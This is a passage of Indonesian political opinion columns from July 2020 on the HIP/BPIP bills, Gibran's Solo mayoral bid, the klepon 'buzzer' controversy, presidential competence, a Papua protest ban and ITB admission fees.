Program Legislasi Nasional (Prolegnas) prioritas. Sementara Pemerintah alih-alih bersikap menolak pembahasan. Justru yang terjadi malah pemerintah mengajukan RUU baru tentang BPIP (Badan Pembinaan Ideologi Pancasila). Umat kecewa dan tidak dapat menerima penggantian RUU tersebut. Seruan MUI tidak didengar dan diabaikan. MUI adalah lokomotif aspirasi dan perjuangan umat Islam. Karenanya sikap MUI selanjutnya kini ditunggu oleh umat Islam. What next? Ada dua sasaran tekanan, yaitu DPR sebagai inisiator RUU HIP. Ultimatum yang lebih keras mesti dikeluarkan oleh MUI. Kedua, Pemerintah yang telah membelokkan perhatian dengan mengajukan RUU BPIP. Terhadap kedua hal ini, MUI bukan saja layak untuk menolak keberadaan RUU BPIP. Tetapi juga mendesak Pemerintah agar membubarkan BPIP. Sikap lebih tegas MUI dinilai penting untuk membuktikan bahwa Maklumat yang dikeluarkan itu bukan basa basi. Bukan juga main main atau gertak sambal. MUI adalah lembaga keagamaan yang mewakili umat Islam. Pengabaian atau pelecehan terhadap Maklumat MUIdinilai berhubungan dengan aspek keagamaan. Kemungkaran harus dicegah. Mengotak-atik kesepakatan tentang ideologi Pancasila itu dikategorikan sebagai kemungkaran berat. Umat Islam diperlakukan tidak proporsional oleh rezim ini. Ada kebijakan untuk peminggiran atau sekularisasi. Dari isu intokeransi, radikalisme, bahkan terorisme selalu mengarah pada umat Islam. Khilafah, jihad, dan kafir menjadi terma yang direduksi maknanya. Buku agama pun diobrak-abrik. Kurikulum pendidikan, dari Sekolah Dasar sampa dengan Menengah Atas diobrak-abrik. Tujuannya menghilangkan segala macam istilah dan nama-nama yang berkaitan dengan Islam. Saatnya bagi MUI untuk menempatkan diri sebagai lokomotif perjuangan umat. Umat Islam harus kembali berwibawa dan tidak bisa diperlakukan semena-mena. RUU HIP dan RUU BPIP menjadi batu ujian penyikapan serius MUI. Masirah kubro adalah langkah yang ditunggu-tunggu. Maklumat hanya tinggal maklumat, jika tidak menjadi washilah peningkatan kekuatan dan perlawanan umat. MUI adalah lokomotif. Bukan pelengkap. Penulis adalah Pemerhati Politik dan Keagamaan.

Gibran vs Kotak Kosong

by Tony Rosyid Jakarta FNN – Rabu (22/07). Purnomo tersingkir dari calon Walikota Solo. Wakil Walikota Solo ini harus mengubur mimpinya untuk bisa berlaga di Pilkada Solo Desember nanti. Karir politik Purnomo mendadak berhenti setelah dihadang Gibran, putra sulung presiden yang tanggal 23 september 2019 lalu baru mendaftarkan diri sebagai anggota resmi PDIP. Meski lebih senior dan punya pengalaman yang lebih matang, tapi Purnomo bukan anak presiden. Dari sisi akseptabilitas dan elektabilitas, Purnomo jauh lebih tinggi dari Gibran. Sebelum akhirnya anjlok ketika Purnomo sempat mengundurkan diri dari pencalonan. Kok mundur? Rupanya Purnomo menyadari betul, tak mungkin bisa melawan putra mahkota Istana. Purnomo tahu siapa yang dihadapi. Tetapi, pengunduran diri Purnomo ditolak oleh DPC PDIP Solo. Ujung-ujungnya, ia pun tetap nggak direkomendasi oleh DPP PDIP. Nyesek! Selain anak presiden, Mas Gibran lebih muda, keluh Purnomo setelah pulang dari istana. Kasihan amat ya! Lebih kasihan lagi, Purnomo sekarang harus muncul ke publik untuk memberi dukungan kepada Gibran. Publik tahu itu bukan jiwa besarnya, tapi ada faktor x kenapa Purnomo harus melakukannya. Purnomo bukanlah malaikat bro! Kecewa, manusiawilah, kata FX Hady Rudyatmo, Walikota Solo yang sekaligus Ketua DPC PDIP Solo. Hady yang sedari awal ngotot merekomendasikan Purnomo untuk maju sebagai calon Walikota Solo. Idealisme Hady layak untuk diapresiasi. Meski pada akhirnya harus menyerah di hadapan dua kekuatan besar, yaitu Presiden dan DPP PDIP. Begitulah politik bekerja. Tak ada pakem, kecuali kepentingan yang ditransaksikan di atas meja demokrasi. Siapa yang mampu membeli dengan harga paling tinggi, dialah pemenangnya. Soal moral dan kepatutan, itu nomor 12. Peduli amat dengan moral! Kenapa Gibran yang baru berusia 33 tahun dan belum genap setahun jadi kader resmi PDIP harus dipaksakan maju di pilkada Solo? Pertama, ini soal momentum boss. Dalam posisi orang tua sedang menjabat sebagai presiden, Gibran lebih mudah mendapatkan tiket PDIP. Dalam konteks pilkada Solo ini, pertarungan yang sesungguhnya adalah bagaimana merebut tiket dari PDIP. Tiket didapat, beres semua! Karena tiket inilah yang paling menentukan. Meski harus memotong Purnomo yang jauh lebih senior, berpengalaman dan matang dalam segala hal. Beda cerita jika Gibran harus berjuang sendirian untuk mendapatkan tiket dari PDIP. Tanpa keterlibatan tangan Sang Ayah, nggak kebayang bagaimana Gibran bisa dapat rekomendasi PDIP itu. Kedua, peluang menang sangat besar. Siapapun yang dicalonkan PDIP di Pilkada Solo, hampir pasti akan menang. Sebab, Solo itu basisnya PDIP. Lalu, siapa bakal calon lawan Gibran? Kotak kosong! Bukan karena tak ada yang berani. Faktornya karena tiket yang tersisa nggak cukup untuk mengusung calon lawan. Sudah habis diborong oleh istana untuk Gibran. Di Solo itu, 30 kursi milik DPRD milik PDIP. Gerindra, PAN dan Golkar masing-masing 3 kursi. PSI 1 kursi. Semua akan mengusung Gibran. Kecuali 5 kursi PKS tak cukup mengusung calon sendiri. Sebab, untuk mengusung calon minimal harus mendapatkan 9kursi. Kenapa PKS nggak ikut bergabung? Bukannya kalau nggak ikut bergabung juga nggak bisa mencalonkan? Jika PKS sedikit mau bersikap pragmatis dengan ikut mengusung Gibran, setidaknya akan kecipratan kompensasi reziki. Apakah berupa biaya operasional kampanye, ataupun pasisi di pemerintahan Solo nantinya. Yaa 5 kursi itu, pasti lumayan! Hingga hari ini, tak ada tanda-tanda PKS ikut dukung Girban. Justru sebaliknya, PKS tampak menguatkan posisinya sebagai partai oposisi terhadap Jokowi. PKS tetap Konsisten! Bagaimana kalkulasi politik di pilkada Solo desember besok? Gibran akan menang. Peluang untuk kalah kecil sekali. Sederhana menghitungnya. Pertama, Solo itu basisnya PDIP. Terbukti 67% suara PDIP yang kuasai. Punya 30 kursi DPRD diduduki kader PDIP. Dan kita tahu, kader dan pemillih PDIP cukup militan di Solo. Mesin politiknya PDIP sangat bisa diandalkan untuk bekerja. Kedua, Gibran didukung oleh semua partai, kecuali PKS. Dalam konteks ini, PKS juga nggak punya calon. Artinya, nggak akan ada lawan yang berarti. Kemungkinan lawan Gibran cuma kotak kosong saja. Memang, pilkada Kota Makasar tahun 2019 lalu, kotak kosong bisa menang. Tetapi, Makasar bukan Solo. Kondisi obyektifnya jauh berbeda dengan Solo. Jangan dibandingkan. Nggak tepat! Ketiga, Gibran itu anak presiden. Akses kekuasaan akan sangat membantu bagi kemenangan Gibran. Belum lagi peran para pendukung Jokowi. Baik dukungan politik maupun logistik. Bagi warga Solo, siap-siaplah punya Walikota baru dan sangat muda. Baru 33 tahun. Nama Walikota itu adalah Gibran Rakabuming Raka. Putra Sulung Presiden Joko Widodo. Bagi anda yang belum sreg dan meragukan kapasitas Gibran, berupayalah untuk belajar menerima keadaan seperti Purnomo. Pasrah apa adanya! Karena itulah situasi obyektifnya. Kalau nggak bisa terima, emang lu bisanya apa? Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Ajaib!! Klepon Jadi Korban Buzzer

by Hersubeno Arief Jakarta FNN - Rabu (22/07). Kelakuan buzzer kali ini sungguh keterlaluan. Entah salah minum obat apa mereka, sampai-sampai klepon jadi sasaran. Jadi bahan adu domba. Makanan tradisional berbentuk bulat, terbuat dari ketan berisi gula merah itu disebut-sebut tidak Islami. Kehebohan dipicu oleh sebuah meme yang beredar di dunia maya. Foto klepon berwarna hijau, ditaburi kelapa parut itu sungguh membuat air liur langsung meleleh. Tapi tunggu dulu. Caption di bawahnya membuat dahi langsung berkerut. “KUE KLEPON TAK ISLAMI. Yuk tinggalkan jajanan yang tidak islami dengan cara membeli jajanan islami, aneka kurma yang tersedia di toko syariah kami.” Di bawah caption itu tertulis nama Abu Ikhwan Aziz. Sekilas meme tadi mengesankan sebuah iklan dari toko kurma yang dimiliki orang bernama Abu Ikhwan Aziz. Dilihat dari namanya saja sudah jelas siapa pemilik toko ini. Apalagi tokonya khas banget, jualan kurma. Siapa lagi pemiliknya kalau bukan Kadrun alias kadal gurun. Sebuah sebutan pengganti untuk pendukung 02 yang sebelumnya bernama kampret. Di medsos sejumlah akun langsung menggorengnya. Mempertentangkan Islam dan budaya lokal. Pro kontra, caci maki langsung bermunculan. Ada juga yang masih coba berpikir waras. Mencoba meredakan ketegangan. *Kerjaan BuzzeRp* Siapa sesungguhnya Abu Ikhwan Aziz ini? Dan dimana toko kurmanya berada? Sejumlah media yang mencoba menelesurinya tidak bisa menemukan “toko kurma” milik Abu Ikhwan. Nama itu juga tidak pernah eksis sebelumnya. Ketika coba digoogling, nama itu hanya muncul pada artikel media yang membahas kontroversi “klepon tidak Islami.” Dapat dipastikan nama Abu Ikhwan juga dicomot begitu saja, seperti halnya foto klepon tadi. Rupanya ada yang sedang coba bermain api. Menciptakan kegaduhan di balik klepon dan nama “Abu Ikhwan Aziz.” Adu domba. Mencoba menyudutkan umat Islam melalui narasi remeh temeh, klepon tidak Islami. Orang Islam itu memang bodoh dan konyol banget. Duduk soalnya menjadi semakin jelas ketika Drone Emprit besutan Ismail Fahmi menelusuri percakapan di medsos. Foto klepon itu dicomot begitu saja dari Pinterest. Kemudian diberi narasi yang menghasut. Si penghasut ini kemudian mengunggahnya di medsos. Dari penelusuran Drone Emprit heboh perkleponan itu dimulai di Facebook, kemudian ramai di twitter. Setelah itu muncul di media online dan Instagram. Melalui penelusuran dapat diketahui siapa yang pertamakali mengunggah dan kemudian meramaikannya. Percakapan dimulai dan diramaikan oleh kluster akun pendukung pemerintah. Mereka sering disebut sebagai buzzeRp, alias buzzer bayaran. Temuan Drone Emprit membuat banyak pegiat medsos, terutama mereka yang masuk dalam kluster netral hanya bisa geleng-geleng kepala. Tapi banyak juga yang geram. Selebgram Awkarin bahkan sampai membuat feed berupa klepon yang dilemparkan ke atas, kemudian ditangkap mulutnya. Sambil mengunyah klepon, dia mengacungkan jari tengahnya. "Buat buzzeRp yang kerjanya mecah belah bangsa. Fight me bitj #KleponLivesMatter," tulisnya pada keterangan unggahan di Instagramnya itu, Rabu, 22 Juli 2020. Kasus ini makin membuktikan perilaku buzzer yang merusak. Mereka tak peduli bangsa tengah menghadapi krisis. Terjadi pembelahan yang kian dalam antara pendukung dan penentang pemerintah. Hanya untuk bayaran berupa uang receh, mereka bergembira ria menggali lubang kubur bangsa lebih dalam. End Penulis adalah Wartawan Senior.

Mengapa Indonesia Perlu Presiden Yang Tidak Dungu?

by Asyari Usman Jakarta FNN (22 Juli 2020) - Merakyat saja tidak cukup. Dia harus jujur. Merakyat dan jujur saja, juga tidak cukup. Dia harus bertakwa. Merakyat, jujur dan bertakwa saja pun belum cukup. Dia juga harus berkarisma dan berkarakter kuat. Indonesia memerlukan presiden yang memiliki semua aspek. Di atas semua itu, dia harus cendekia. Sekadar mengingatkan, cendekia mencakup banyak hal yang berbasis IQ tinggi. Begini definisi “cendekia” menurut Kamus Besar Bahasa Indonesia (KBBI). Saya copas langsung dari KBBI daring. Kalau ada waktu, tolong dibaca beberapa kali definisi berikut ini. CENDEKIA/cen·de·kia/ 1 tajam pikiran; lekas mengerti (kalau diberi tahu sesuatu); cerdas; pandai; 2 cepat mengerti situasi dan pandai mencari jalan keluar (pandai menggunakan kesempatan); cerdik; 3 terpelajar; cerdik pandai; cerdik cendekia. Berdasarkan definisi ini, seorang presiden yang cendekia harus memiliki kapasitas pikir (thinking capacity) yang berlebih. Harus di atas rata-rata. Supaya dia menguasai masalah apa saja. Presiden ‘wajib’ menguasai semua masalah. Kalau pun dia tidak tahu secara detail semua masalah yang terkait dengan penyelenggaraan negara dan pemerintahan, setidaknya seorang presiden memahami simpul-simpul penting dari masalah yang sedang terjadi. Presiden wajib tahu kisi-kisi semua masalah dan peristiwa. Dia, misalnya, harus paham soal landas kontinen (continental basin). Ini istilah hukum laut internasional. Tidak harus tahu detail. Tapi, presiden bisa berbicara ketika ditanya tentang pertikaian perairan. Presiden juga harus mengerti serba sedikit tentang ekonomi makro, port-folio investment, capital flight, Das Capital, tax holiday, Kyoto Protocol, dlsb. Presiden musti mengerti soal ‘debt to GDP ratio’ supaya dia tidak menjerumuskan negara ke lembah utang. Supaya tidak memaksakan diri berutang secara berlebihan. Ada pula istilah ‘debt trap’ (perangkap utang) yang harus dicermati. Sangat mungkin ‘debt trap’ itu menjadi bagian dari ‘geo-politcal strategy’ (strategi geo-politik) sebuah negara besar. Misalnya, banyak orang yang percaya bahwa China menerapkan ini lewat kebijakan OBOR (One Belt One Road) yang intinya adalah hegemoni dan kolonialisasi dengan ‘casing’ baru. Presiden yang cendekia pasti bisa mengikuti diskusi tentang ‘bio-diversity’. Ini penting untuk menunjukkan bahwa Indonesia memiliki keprihatinan terhadap kerusakan lingkungan. Saat ini, Indonesia kehilangan banyak spesies dalam keragaman hayati. Di pentas internasional, masalah ‘bio-diversity’ selalu menjadi topik hangat yang sangat politis sifatnya. Presiden perlu memahami isu ini. Ada terminoligi perang asimeteris (asymmetric warfare). Yaitu, perang yang ditandai perbedaan mencolok dalam persenjataan dan strategi atau taktik. Sebagai negara besar yang berposisi strategis, presiden Indonesia harus mampu berdiskusi dengan para menteri bidang pertahanan tentang langkah-langkah yang diperlukan untuk memperkecil dampak negatif secara militer dan psikologis akibat disparitas perangkat perang. Presiden harus bisa memberikan pengarahan dan mengambil keputusan yang tepat dan cepat. Itulah beberapa contoh tentang perlunya seorang presiden yang cendekia. Yang berpikiran tajam, cerdas dan cerdik. Smart thinking, smart actions. Intinya, orang yang cendekia itu punya otak. Tidak setiap hari, setiap saat, setiap masalah, bergantung pada tim penasihat. Lawan dari cendekia adalah dungu. Mari kita simak sebentar definisi ‘dungu’ berikut ini. Juga menurut KBBI. DUNGU/du·ngu/ sangat tumpul otaknya; tidak cerdas; bebal; bodoh. Bisa dibayangkan kalau seorang presiden memiliki kapasitas yang berlawanan dengan kemampuan seorang cendekia. Orang yang cendekia tahu apa yang harus dia lakukan jika ada masalah. Sebaliknya, presiden yang dungu sangat membahayakan negara. Dia tidak paham masalah yang terjadi. Kalau pun dia paham, dia tidak memiliki kapabilitas untuk mengatasi masalah. Tidak memiliki kemampuan. Akibat literasi yang minim. Celakanya, seorang presiden yang dungu merasa memiliki kemampuan. Dan lebih celaka lagi, orang-orang yang cendekia siap melakukan apa saja untuk menutupi kedunguan seorang presiden. Akhirnya, mari kita jawab satu pertanyaan: mengapa Indonesia memerlukan presiden yang tidak dungu? Karena Indonesia ini besar dari banyak aspek. Besar dalam hal demografi. Besar dari segi geografi. Besar dalam ‘natural resources’ (sumberdaya alam). Dan besar dari aspek ekonomi, bisnis, dan kemaritiman. Di tangan seorang presiden yang dungu, Indonesia akan hancur berantakan. Menjadi lemah tanpa martabat dan wibawa. Untuk kemudian menjadi makanan empuk negara-negara kuat, terutama China. Apakah kita bisa menemukan figur sesempurna penjelasan di bagian awal tulisan ini? Jawabannya: harus ada. Dan pasti ada. Asalkan jangan Anda sengaja mencari orang yang dungu.[] (Penulis adalah wartawan senior)

Larangan Tolak Otsus, Kapolda Papua Bermain Politik

by Marthen Goo Jakarta FNN - Rabu (22/07). Kebijakan Kapolda Papua yang melarang aksi tolak Otonomi Khusus (Otsus) nyata-nyata melanggar Undang-Udang Nomor 9 Tahun 1998. Kebijakan Kapolda tersebut inkonstitusional, dan masuk ke dalam ranah atau domain politik. Kapolda jangan bermain politik. Kapolda sebaiknya jangan ikut-ikutan bermain politik. Polisi dilarang oleh undang-undang untuk masuk ranah politk. Pebicaraan tentang Ostus Papua adalah wilayah politik. Siapa saja masyarakat Papua bebas untuk berbicara tentang Otsus papua. Baik yang mendukung maupun yang menolak. Polisi jangan ikut-ikutan, termasuk melarang masyarakat yang hendak melakukan aksi menolak Otsus Papua. Sebab Indonesia sudah dikenal sebagai negara demokrasi. Dimana demokrasi di Indonesia mulai dikenal tahun 1998, dengan semangat reformasi 1998. Ketika kekuasaan yang otoriter ditumbangkan oleh para mahasiswa, aktivis dan masyarakat tahun 1998, lahirnya demokrasi tersebut. Bisa dilihat juga dengan lahirnya pasal 28 UUD 1945, yang kemudian diturunkan dalam UU Nomor 9 Tahun 1998. Tentu semangat demokrasi tersebut lahir dengan semangat mengedepankan hak asasi manusia. Atas dasar semangat reformasi dan cita-cita memupuk demokrasi, maka setiap orang berhak menyampaikan pendapat, pikiran dan perasaannya. Penyampain pendapat itu, baik dalam bentuk lisan maupun tulisan di muka umum. Atas penyampaian tersebut, hak konstitusinya dilindungi dalam konstitusi Negara. Seperti pada pasal 28 UUD 1945 yang dengan jelas dirumuskan, “kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan dan sebagainya ditetapkan dengan undang-undang". Kemerdekaan menyampaikan pendapat seperti yang dimaksud dalam pasal 28 UUD45 tersebut, diperjelas dalam UU Nomor 9 Tahun 1998 Tentang Kemerdekaan Menyampaikan Pendapat di Muka Umum. Ada apa Kapolda melarang aksi masyarakat untuk menolak Otsus Papua? Dijelaskan dalam pasal 10 ayat (1) UU Nomor 9 Tahun 1998 bahwa penyampaian pendapat di muka umum sebagaimana dimaksud dalam pasal 9 wajib diberitahukan secara tertulis kepada Polri. Sementara dalam pasal (3) dijelaskan, pemberitahuan sebagaimana dimaksud dalam ayat (1) selambat-lambatnya 3 x 24 jam sebelum kegiatan dimulai, telah diterima Polri setempat. Artinya, dalam ayat (1) lebih diutamakan pada sifat surat pemberitahuan. Sedangkan Pada ayat (3) adalah soal waktu dan tempat kegiatan penyampaian pendapat. Sebelum kegiatan dimulai, surat pemberitahuan sudah harus disampaikan kepada polisi. Undang-undang telah memberikan ruang demokrasi bagi setiap orang yang ingin menyampaikan pendapat di muka umum. Namun dengan prinsip kemanusiaan, atau dalam prespektif hukum, dikenal dengan istilah “batasan”. Batasanya tidak melakukan perbuatan yang bertentangan dengan hukum. Penolakan Otsus Konstitusional Otonomi Khusus bagi propinsi Papua yang diatur dengan UU Nomor 21 Tahun 2001 adalah undang-undang desentralisasi asimetris di Propinsi Papua. Dimana keberlakuannya sejak diundangkan. Dalam sistim pemerintahan, undang-undang yang menerapkan sistim desentralisasi asimetris tidak hanya di Papua, tetapi juga di beberapa daerah lainnya seperti di Aceh, Yogykarta dan Jakarta. Sementara wilayah lain, hanya diterapkan undang-undang desentralisasi. Apakah penolakan sebuah undang-undang bagi warga negara, yang tidak mendapatkan manfaat dan tidak relevan dengan kondisi objektif yang dialami rakyat, serta bertentangan dengan konstitusi, apakah wajib tetap dipertahankan? Untuk menjawab pertanyaan tersebut, harus dipahami dengan baik juga tujuan dibentuknya undang-undang. Jika kita merujuk pada tujuan nasional, yang juga dijelaskan dalam pembukaan UUD 1945, yakni bertujuan “mensejahterakan kehidupan bangsa dan mencerdaskan kehidupan bangsa”. Jika tujuan itu tidak terlihat dalam pelaksanaan undang-undang, maka wajib hukumnya ditolak. Karena tujuan utama pembentukan undang-undang adalah untuk kesejahteraan dan mencerdasan rakyat. Jika undang-undang dibuat hanya karena pertimbangan politik. Bukan pertimbangan tujuan nasional, secara konstitusional sah jika rakyat menolak. Jadi, jika rakyat atau pulbik ingin menolak UU Nomor 21 Tahun 2001, secara konstitusional boleh-boleh saja. Selagi tidak melakukan perbuatan pidana atau perbuatan yang melanggar hukum. Dalam dunia demokrasi, itu hal yang wajar dilakukan. Jangankan hanya undang-undang. Jika rakyat aksi untuk mendorong amandemen UUD 1945, itu boleh-boleh saja, atau bahkan perubahan sistim hukum di Indonesia. Menolak sebuah keberlakuan undang-undang itu hak konstitusional warga Negara. Sementara mengenai perubahan atau pencabutan undang-undang, hanya bisa terjadi melalui dua hal. Yaitu undang-undang tersebut mengatakan dirinya usai (berakhir) atau pembuat undang-undang mencabut undang-undang tersebut. Polisi Tidak Diberi Kewenangan Polisi hanya diberi kewenangan untuk mengawasi berjalannya asksi yang demokrasi. Bukan menutupi ruang demokrasi. Pelarangan terhadap aksi penolakan Otsus Papua adalah tindakan menutupi ruang demokrai. Melarang memiliki arti tidak mengijinkan, sementara setiap orang berhak menyampaikan pikiran, perasaan baik secara lisan dan tulisan. Dalam pasal 13 ayat (1) UU Nomor 9 Tahun 1998 dijelaskan, setelah menerima surat pemberitahuan sebagaimana dimaksud dalarn pasal 11 Polri wajib : a. segera rnemberikan surat tanda terirna pemberitahuan, b. berkoordinasi dengan penanggung jawab penyampaian pendapat di muka umum, c. berkoordinasi dengan pimpinan instansi/lembaga yang akan menjadi tujuan penyampaian pendapat, d. mempersiapkan pengamanan tempat, lokasi, dan rute. Sementara dalam pasal 13 ayat (2) dijelaskan, dalarn pelaksanaan penyampaian pendapat di muka umum, Polri bertanggungjawab memberikan perlindungan keamanan terhadap pelaku atau peserta penyampaian pendapat di muka umum. Sementara dalam ayat (3) dijelaskan, dalam pelaksanaan penyampaian pendapat di muka umum, Polri bertanggung jawab menyelenggarakan pengamanan untuk menjamin keamanan dan ketertiban umum sesuai prosedur yang berlaku, Disini peran polisi sesungguhnya sangat jelas. Dijelaskan dalam pasal 13, baik itu pada ayat (1), (2) dan (3). Dalam pasal itu tidak dijelaskan Polisi menutupi ruang demokrasi. Apalagi sampai melarang warga menyampaikan pendapat untuk menolak undang-undang Otsus Papua. Dalam hirarki perundang-undangan, juga sudah jelas. Sebagai batasan dalam keberlakuan sistim hukum di Indonesia, undang-undang yang lebih tinggi mengesampingkan undang-undang di bawahnya jika bertentangan. Apalagi posisi kepolisian hanya pelaksana undang-undang. Bukan pembuat aturan. Jadi, Polisi sesungguhnya tidak diberi kewenangan melarang aksi atau menutupi demokrasi. Polisi hanya diberi kewenangan untuk mengawasi dan melakukan penegakan hukum apabila terbukti ada yang melanggar hokum. Terutama jika merujuk pada pasal 1 ayat (1) tentang asas legalitas. Kepolisian hanya memiliki kewenangan sebagai pelaksana undang-undang. Hanya untuk menjaga tertegaknya hokum. Bukan melarang rakyat menyampaikan penolakan terhadap sebuah undang-undang. Bukan juga melarang rakyat memenuhi UU Nomor 9 Tahun 1998. Pernyataan Polda Mencederai Demokrasi Dari uraian di atas, batasan dan ruang kepolisian sangat jelas dalam undang-undang. Sehingga jika Polisi menyampaikan pelarangan terhadap aksi penolakan UU Nomor 21 Tahun 2001, sesungguhnya telah mencederai demokrasi. Menolak sebuah undang-undang yang dirasakan tidak relevan dalam kehidupan masyarakat sah dan kontitusional. Keram itu adalah hak konstitusional setiap orang atau setiap masyarakat. Tidak perlu Polda melarang-larang. Dengan demikian, pernyataan Kapolda Papua bertentangan dengan Undang-undang Nomor 9 Tahun 1998. Kapolda harus melihat dan membaca undang-udang dengan seksama. Harus berpegang juga pada asas legalitas. Apalagi negara yang menerapkan sistim hukum Civil Low tidak mengenal dugaan-dugaan. Berlaku asas legalitas. Jika ada perbuatan pidana, maka terhadap perbuatan tersebut, diproses dan dikenakan sanksi hukum sesuai perbuatan pidananya. Menolak UU Nomor 21 Tahun 2001, tidak ada perbuatan pidananya. Itu ruang demokrasi bagi setiap orang untuk menyampaikan hak konstitusinya. Kepolisian tidak boleh masuk sampai pada membatasi hak konstitusional warga Negara. Karena tugas kepolisian hanya untuk memastikan dan mengawal hak konstitusional warga dapat berjalan sesuai dengan ketentuan hukum yang berlaku. Hanya itu saja. Tidak lebih dari itu. Penulis adalah Aktivis Kemanusiaan Asal Papua.

ITB Sentimen Terhadap Orang Miskin

by Dr. Syahganda Nainggolan Jakarta FNN – Rabu (22/07). Anak saya yang akan melamar ke jurusan Hayati Institut Teknologi Bandung (ITB), melalui jalur mandiri, mengatakan bahwa ITB mengumumkan secara mendadak bahwa orang tua calon pelamar mahasiswa ke ITB harus menunjukkan rekening senilai Rp. 100.000.000. Saya menyanggupi saja, demi membahagian anak. Namun, buat saya ini adalah kegagalan kedua ITB setelah kegagalan pertama berhasrat menyingkirkan Prof. Din Syamsudin dari ITB sebagai anggota Mejelis Wali Amanat (MWA) ITB, karena sentimen anti-Islam. Mengapa Gagal? Pembebanan bea masuk puluhan juta dan menunjukkan rekening Rp. 100.000.000 untuk masuk ke ITB, di masa krisis ekonomi saat ini, telah mendiskriminasi peluang anak-anak orang miskin yang cerdas untuk mendapatkan pendidikan unggul. Penjelasan ITB bahwa uang itu akan dipake untuk subsidi silang bagi mahasiswa yang tidak mampu, dengan block sejumlah 30% untuk orang-orang mampu, menyisakan peluang pertarungan masuk ITB hanya 70% bagi orang miskin. Sebaliknya 100% bagi orang-orang kaya. Di masa lalu, ITB adalah kampus rakyat. Karena peluang kebersamaan dimulai dengan sama status bagi semua mahasiswa. Di jurusan Geodesi, misalnya, tempat saya kuliah tahun 80an, tercatat beberapa senior saya, seperti adik Sultan Hamangkubono, anak menteri pak Harto, antara lain anaknya Mendagri Yogi S. Memet dan anak Menteri Kesehatan, dan lain-lain. Dan tentunya di jurusan lainnya, banyak anak anak pejabat, namun perbedaan diantara mahasiswa tidak terjadi. Orang-orang miskin tidak merasa kesulitan, karena negara Indonesia kala itu, meski negara berkembang, menyediakan berbagai program bea siswa bagi mereka. Dengan bantuan Negara, baik pinjaman maupun hibah, tidak ada hutang budi antara mahasiswa di ITB. Berbagai yayasan pun didirikan pemerintah untuk mengumpulkan uang bagi mahasiswa kurang mampu. Seperti yang dulu terkenal, yayasan Supersemar. Anak-anak ITB yang merantau dan perlu biaya hidup tambahan, umumnya karena kuliah ditempat orang-orang pintar. Dipercaya oleh masyarakat Bandung untuk menjadi guru yang mengajar anak-anak mereka. Sehingga kesulitan keuangan dapat diatasi. ITB Tanpa Diskriminasi ITB harus keluar dari industrialisasi pendidikan. Ini adalah momentum bagi 100 tahun ITB, yang baru saja diperingati beberapa hari lalu. Cara pandang pendidikan tinggi negeri saat ini, telah gagal menyaring generasi pintar dan autentik serta penuh inovasi. Sebab, 10 tahun belakangan ini, ITB dan kampus-kampus ternama telah menjadi tempat yang hanya untuk anak-anak orang kaya menimba ilmu. Sistem pendidikan Indonesia yang hancur, karena kompetisi murid-murid dilakukan dengan "drilling" via bimbingan-bimbingan belajar, membuat fungsi sekolah untuk mencetak orang pintar, cerdas dan inovatif hilang. Hanya beberapa sekolah, seperti SMA Negeri 8 di Jakarta atau SMA Negeri 3 di Bandung, yang identik antara sekolah, guru dan kepintaran anak murid. Selebihnya, kebanyakn, murid-murid pintar identik dengan bimbingan belajar yang menjamur di berbagai kota-kota besar. Bimbingan belajar semakin lama semakin mahal. Paket-paket bimbingan belajar bahkan ada yang berbiaya ratusan juta, dengan sistem menginap selama sebulan serta jaminan uang kembali. Alhasil, kemampuan murid masuk ke perguruan tinggi negeri berbanding lurus dengan biaya yang dikeluarkan orang tua murid pada perusahaan bimbingan belajar itu. Sistem rekrutmen mahasiswa di Leiden University, Belanda, misalnya, pada generasi saya, dilakukan dengan lotere. Istri saya yang mendaftar di jurusan psikologi misalnya, tidak membutuhkan seleksi. Sebeb, seleksi dianggap selesai dalam sistem sekolah menengah di sana. Kelebihan peminat menyebabkan dilakukan undian. Yang tersingkir tidak sakit hati, karena tidak merasa lebih bodoh. Dalam konteks kesulitan hidup akibat hancurnya ekonomi Indonesia masa pandemi Covid-19 ini, selayaknya ITB melakukan terobosan baru. ITB tidak perlu terjebak pada sumber pembiayaan dari kantong orang tua mahasiswa. Berbagai sumber pendanaan harus dipikirkan, baik meminta jatah ke Sri Mulyani berupa uang stimulus fiskal, maupun dari alumni-alumni, khususnya yang dulu miskin-miskin. (note: pada jaman 80an mahasiswa yang memakai sendal jepit cukup banyak di ITB, sangkin miskinnya). Dengan berubah orientasi, yakni pendidikan bukan industry, serta mencari bibit-bibit pintar dan inovatif, ITB harus membebaskan persaingan 100% kepada semua calon mahasiswa. Tidak lagi memblock 30% untuk orang-orang kaya atau yang punya rekening Rp. 100.000.000. Sehingga ITB tidak melakukan diskriminasi pada orang-orang miskin. Penutup Pendidikan adalah instrument negara untuk melakukan gerakan egalitarian, equality, dan anti diskriminasi terhadap anak-anak bangsa. Sehingga orang-oreang miskin mampu melakukan mobilisasi vertikal dalam mengejar cita-cita. Pemblockan 30% jumlah mahasiswa ITB pada orang-orang kaya dan memastikan mayoritas mahasiwa ITB dari murid-murid yang di pompa ilmunya oleh bimbingan-bimbingan belajar super mahal, akan menjadikan ITB sebagai industri. Jika itu dipertahankan, akan membuat ITB kehilangan inovasi, dan terus terjungkal dari misinya sebagai kampus rakyat. Diskriminasi terhadap orang-orang miskin juga akan membuat suasana kampus tidak sehat nantinya. Orang-orang miskin seolah-olah harus berhutang budi pada orang-orang kaya, yang membayar lebih mahal. Padahal urusan pembebanan biaya pada orang-orang kaya sebaiknya diselesaikan melalui sistem tax progresif dalam sistem negara. Bukan sistem pendidikan di kampus. Jika sifat ITB yang diskriminatif terhadap orang-orang miskin dapat diatasi, maka mahasiswa-mahasiswa bersendal jepit akan muncul lagi di ITB pada masa krisis ekonomi saat ini. Namun, mereka tetap anak-anak pintar dan penuh harapan ke depan. Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Ideologi PDIP Pancasila 1 Juni 1945, Makarkah?

